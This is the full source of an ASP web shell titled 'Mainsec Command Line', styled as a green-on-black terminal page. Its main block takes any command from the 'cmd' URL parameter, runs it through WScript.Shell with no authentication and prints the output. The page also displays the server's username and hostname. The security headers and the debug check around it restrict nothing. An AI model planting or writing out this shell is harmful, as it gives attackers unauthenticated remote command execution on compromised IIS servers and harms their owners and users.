<%' Generate random hashFunction GenerateHash() Randomize Dim randomHash randomHash = Left(MD5Hash(Rnd()), 8) GenerateHash = randomHashEnd FunctionFunction MD5Hash(s) Dim oMD5, oBytes, i Set oMD5 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider") oBytes = oMD5.ComputeHash_2(s) For i = 0 To UBound(oBytes) MD5Hash = MD5Hash & Right("0" & Hex(oBytes(i)), 2) Next Set oMD5 = NothingEnd Function' Security headersResponse.AddHeader "X-Requested-With", "XMLHttpRequest"Response.AddHeader "Cache-Control", "no-store, no-cache, must-revalidate, max-age=0"Response.AddHeader "Pragma", "no-cache"Response.AddHeader "Expires", "Sat, 01 Jan 2000 00:00:00 GMT"Response.AddHeader "Content-Security-Policy", "default-src 'none'; frame-ancestors 'none';"Response.AddHeader "X-Frame-Options", "DENY"Response.AddHeader "X-Content-Type-Options", "nosniff"Response.AddHeader "Referrer-Policy", "no-referrer"' Check if debugging is enabledIf Request.QueryString("debug") <> "" Then Response.Write "Debugging is not allowed." Response.EndEnd If' Command executionDim cmd, objShell, objExec, outputcmd = Request.QueryString("cmd")If cmd <> "" Then Set objShell = Server.CreateObject("WScript.Shell") Set objExec = objShell.Exec(cmd) output = "" Do While Not objExec.StdOut.AtEndOfStream output = output & objExec.StdOut.ReadLine() & vbCrLf Loop Response.Write "

Output:

<pre>" & Server.HTMLEncode(output) & "</pre>" Set objExec = Nothing Set objShell = NothingEnd If%><!DOCTYPE html><html lang="en"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">Mainsec Command Line <title>Mainsec Command Line</title> <style>@import url('https://fonts.googleapis.com/css2?family=Source+Code+Pro:wght@400;700&display=swap');body { font-family: 'Source Code Pro', monospace; background-color: #000; color: #0f0; margin: 0; padding: 20px; text-align: left;}.container { max-width: 800px; margin: auto; padding: 20px; background-color: #111; border-radius: 5px; box-shadow: 0px 0px 10px rgba(0, 255, 0, 0.5);}h1 { font-size: 18px; color: #0f0; text-shadow: 0 0 5px #0f0;}form { display: flex; gap: 10px;}input[type="text"] { flex: 1; background-color: #000; color: #0f0; border: 1px solid #0f0; padding: 10px; font-size: 16px; outline: none; font-family: 'Source Code Pro', monospace;}input[type="submit"] { background-color: #0f0; color: #000; border: 1px solid #0f0; padding: 10px 15px; cursor: pointer; font-weight: bold; transition: 0.3s;}input[type="submit"]:hover { background-color: #00ff44;}pre { background-color: #000; color: #0f0; padding: 15px; font-size: 14px; border-radius: 5px; box-shadow: inset 0px 0px 5px rgba(0, 255, 0, 0.5); overflow-y: auto; max-height: 400px;} </style> <div class="container">

Mainsec Command Line

<% Dim objNet, user, host Set objNet = Server.CreateObject("WScript.Network") user = objNet.UserName host = objNet.ComputerName Set objNet = Nothing Response.Write "<p><strong>" & user & "@" & host & ":</strong> C:\inetpub\wwwroot</p>" %> </div>